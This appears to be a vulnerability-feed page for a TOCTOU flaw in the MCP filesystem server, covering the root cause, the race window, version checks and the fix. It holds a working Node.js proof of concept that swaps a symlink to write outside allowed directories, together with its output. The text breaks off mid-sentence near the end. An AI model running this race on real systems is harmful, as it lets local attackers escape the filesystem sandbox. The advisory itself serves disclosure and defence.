---
id: "GHSA-53mr-w429-c597"
page: "https://infrastack.ai/live/GHSA-53mr-w429-c597"
kind: "vulnerability"
aliases: ["GHSA-53mr-w429-c597"]
title: "Parent-Directory Fallback TOCTOU in @modelcontextprotocol/server-filesystem Permits Arbitrary File Write Outside allowedDirectories"
severity: "low"
cvss: 2.2
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "@modelcontextprotocol/server-filesystem", "fixed": [], "affected": ">= 2025.1.14, <= 2026.8.31", "ecosystem": "npm"}, {"name": "@modelcontextprotocol/server-filesystem", "fixed": ["2.0.1"], "affected": "< 2.0.1", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["claude-desktop", "cwe-367", "filesystem", "local-agents", "mcp", "node", "package"]
not_affected_if: ["no-allowed-directories-sensitive-data", "single-user-locked-down-host"]
published_at: "2026-10-25T00:19:21+00:00"
first_seen_at: "2026-11-09T22:53:25+00:00"
updated_at: "2026-11-09T22:58:27+00:00"
sources: [{"source": "ghsa-repo", "url": "https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-53mr-w429-c597", "first_seen_at": "2026-11-09T22:53:25+00:00"}]
exploit_sources: []
---

# Parent-Directory Fallback TOCTOU in @modelcontextprotocol/server-filesystem Permits Arbitrary File Write Outside allowedDirectories

Link for people: https://infrastack.ai/live/GHSA-53mr-w429-c597 (this .md is for agents)

The @modelcontextprotocol/server-filesystem package validates a parent directory, then returns the unresolved path, so a local process can swap that parent for a symlink and redirect writes, mkdir, or moves outside the allowed tree. An attacker running as the same user can write arbitrary files outside allowedDirectories and relocate files out of the tree.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:@modelcontextprotocol/server-filesystem affected >= 2025.1.14, <= 2026.8.31 fixed no fixed version listed
- npm:@modelcontextprotocol/server-filesystem affected < 2.0.1 fixed 2.0.1

## How to check

- Check the installed version with `npm ls @modelcontextprotocol/server-filesystem`; versions below `2.0.1` are listed as affected.
- Check whether the server is configured with `allowedDirectories` and whether untrusted local processes run as the same user.

## Fix

- `@modelcontextprotocol/server-filesystem`: `2.0.1`

## Timeline

- 2026-11-09T22:53:25+00:00 ghsa-repo https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-53mr-w429-c597

## Documents

- [advisory] Maintainer's advisory: github.com https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-53mr-w429-c597

## From the sources

## Summary

`validatePath()` in `lib.js` contains an ENOENT fallback intended to permit creation of new files whose parents exist inside an allowed directory. The fallback resolves only the *parent* directory through `fs.realpath()`, validates the parent against `allowedDirectories`, and then **returns the original `absolute` path unchanged** rather than the canonicalised join of the realpath-resolved parent with the basename. Every caller (`write_file`, `edit_file`, `create_directory`, `move_file`) immediately invokes a filesystem syscall on this un-canonicalised path. Between the parent-realpath check and the syscall, a separate local process can replace the parent directory with a symbolic link that points outside the allowed tree. The kernel resolves the symlink at syscall time, and the write, mkdir, or rename lands at the attacker-chosen destination. This produces arbitrary file write outside `allowedDirectories`, and via `move_file` arbitrary file relocation, including exfiltration outside the protected tree. The class is distinct from CVE-2025-53109 (symlink target validation) and CVE-2025-53110 (prefix-match containment), both fixed in 2025.7.1: neither patch added re-resolution of the parent after the ENOENT branch returns, and neither addresses a symlink that comes into existence *after* `validatePath()` completes.

### Root cause

`dist/lib.js`, function `validatePath`, lines (approximately) 30-90. The defect is the literal `return absolute;` on the ENOENT path. `absolute` was produced by `path.resolve()` on the caller-supplied request; it is *not* the canonical on-disk path. If `parentDir` is itself a symlink at the moment of the syscall, the kernel dereferences that symlink at syscall time, and the resulting on-disk location is wherever the symlink currently points, not the location whose realpath was validated.

The fix is straightforward: the function should return `path.join(realParentPath, path.basename(absolute))` so that the caller's syscall operates on the path whose parent has been canonicalised and approved.

### Call sites that use the returned value verbatim

Each of the following request handlers calls `validatePath` and then immediately performs a filesystem syscall on the returned string. There is an inter-statement window between the validation and the syscall (in some cases an additional `await` between them):

- `index.js:343-344` `write_file`:
  ```js
  const validPath = await validatePath(parsed.data.path);
  await writeFileContent(validPath, parsed.data.content);   // -> fs.writeFile inside writeFileContent
  ```
- `index.js:355` `edit_file`:
  ```js
  const validPath = await validatePath(parsed.data.path);
  // applyFileEdits opens, edits, writes via tmp + rename
  ```
- `index.js:366` `create_directory`:
  ```js
  const validPath = await validatePath(parsed.data.path);
  await fs.mkdir(validPath, { recursive: true });
  ```
- `index.js:474-476` `move_file`:
  ```js
  const validSourcePath = await validatePath(parsed.data.source);
  const validDestPath = await validatePath(parsed.data.destination);
  await fs.rename(validSourcePath, validDestPath);
  ```

In `move_file`, the destination commonly does not exist, so the destination's `validatePath` call hits the ENOENT branch.

### Race window

The race window is the interval between `validatePath()` returning to the caller and the subsequent filesystem syscall reaching the kernel. In practice this includes at least:

1. JavaScript microtask drain after the awaited `validatePath` returns.
2. Argument marshalling for the next call (`writeFileContent`, `fs.mkdir`, `fs.rename`).
3. For `write_file`, an additional `await fs.writeFile(...)` setup (`lib.js:96-123` constructs a tmp path, then renames into place; both syscalls happen after the validation).
4. For `edit_file`, an entire read-modify-write cycle (`lib.js:127-198`), which widens the window enormously.

Any concurrently running process running as the same user can, within this window, `rmdir` the previously-real `parentDir` and `symlink` it to an attacker-chosen target. The kernel resolves the symlink at the moment of the eventual `open`/`mkdir`/`rename` syscall.


## Proof of Concept

The script below imports the installed package directly and demonstrates the bug deterministically on macOS. It is self-contained: it constructs its own workspace under the system temp directory, sets the allowed directory to a freshly-created subdirectory, performs the validate + write sequence with an interposed symlink swap, and then checks whether the write landed outside the allow-list. Replace `LIB_PATH` with the path to the installed package's `dist/lib.js` (Anthropic Claude Desktop users will find it under the Filesystem extension's installation directory; direct `npm` users will find it under `node_modules/@modelcontextprotocol/server-filesystem/dist/lib.js`).

```js
import fs from 'node:fs/promises';
import path from 'node:path';
import os from 'node:os';
import { pathToFileURL } from 'node:url';

// Path to the installed package's lib.js. Adjust for your install location.
const LIB_PATH = '/PATH/TO/server-filesystem/dist/lib.js';

const { setAllowedDirectories, validatePath, writeFileContent } =
  await import(pathToFileURL(LIB_PATH).href);

// Realpath the workspace root so macOS /var vs /private/var does not
// confuse the server's first-pass string-prefix containment check.
await fs.mkdir(path.join(os.tmpdir(), 'fs-toctou-poc'), { recursive: true });
const ROOT = await fs.realpath(path.join(os.tmpdir(), 'fs-toctou-poc'));
const ALLOWED = path.join(ROOT, 'allowed');
const OUTSIDE = path.join(ROOT, 'outside');
const FLIP = path.join(ALLOWED, 'flip');

async function reset() {
  await fs.rm(ROOT, { recursive: true, force: true });
  await fs.mkdir(ALLOWED, { recursive: true });
  await fs.mkdir(OUTSIDE, { recursive: true });
  await fs.mkdir(FLIP, { recursive: true });
}

await reset();
setAllowedDirectories([await fs.realpath(ALLOWED)]);

const REQUESTED = path.join(FLIP, 'created.txt');

// 1) Validate. The leaf does not exist (ENOENT), so the parent-dir fallback
//    fires. Parent is allowed/flip, a real dir inside allowed: passes.
console.log('[*] Calling validatePath...');
const validated = await validatePath(REQUESTED);
console.log('[*] validatePath returned:', validated);

// 2) Between validation and write, swap the parent dir for a symlink.
//    In the real server this race window exists between validatePath()
//    and writeFileContent() in the request handler.
console.log('[*] Race: replacing flip dir with symlink to outside...');
await fs.rm(FLIP, { recursive: true });
await fs.symlink(OUTSIDE, FLIP);

// 3) Write through the validated (now stale) path. The kernel resolves
//    the parent symlink at syscall time; the write lands outside.
console.log('[*] Writing through validated path...');
await writeFileContent(validated, 'pwned-via-toctou');

// 4) Verify.
const outsideListing = await fs.readdir(OUTSIDE);
const allowedListing = await fs.readdir(ALLOWED, { withFileTypes: true });
console.log('[*] Files now in outside/:', outsideListing);
console.log('[*] Entries in allowed/:',
  allowedListing.map(e => `${e.isSymbolicLink()?'L':e.isDirectory()?'D':'F'} ${e.name}`));

if (outsideListing.includes('created.txt')) {
  console.log('[!!] SUCCESS: file written OUTSIDE allowed directories.');
} else {
  console.log('[--] FAILED: write did not escape.');
}
```

### Observed output

```
[*] Calling validatePath...
[*] validatePath returned: /private/var/folders/.../T/fs-toctou-poc/allowed/flip/created.txt
[*] Race: replacing flip dir with symlink to outside...
[*] Writing through validated path...
[*] Files now in outside/: [ 'created.txt' ]
[*] Entries in allowed/: [ 'L flip' ]
[!!] SUCCESS: file written OUTSIDE allowed directories.
```

The `validatePath` call returned a path whose ca

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
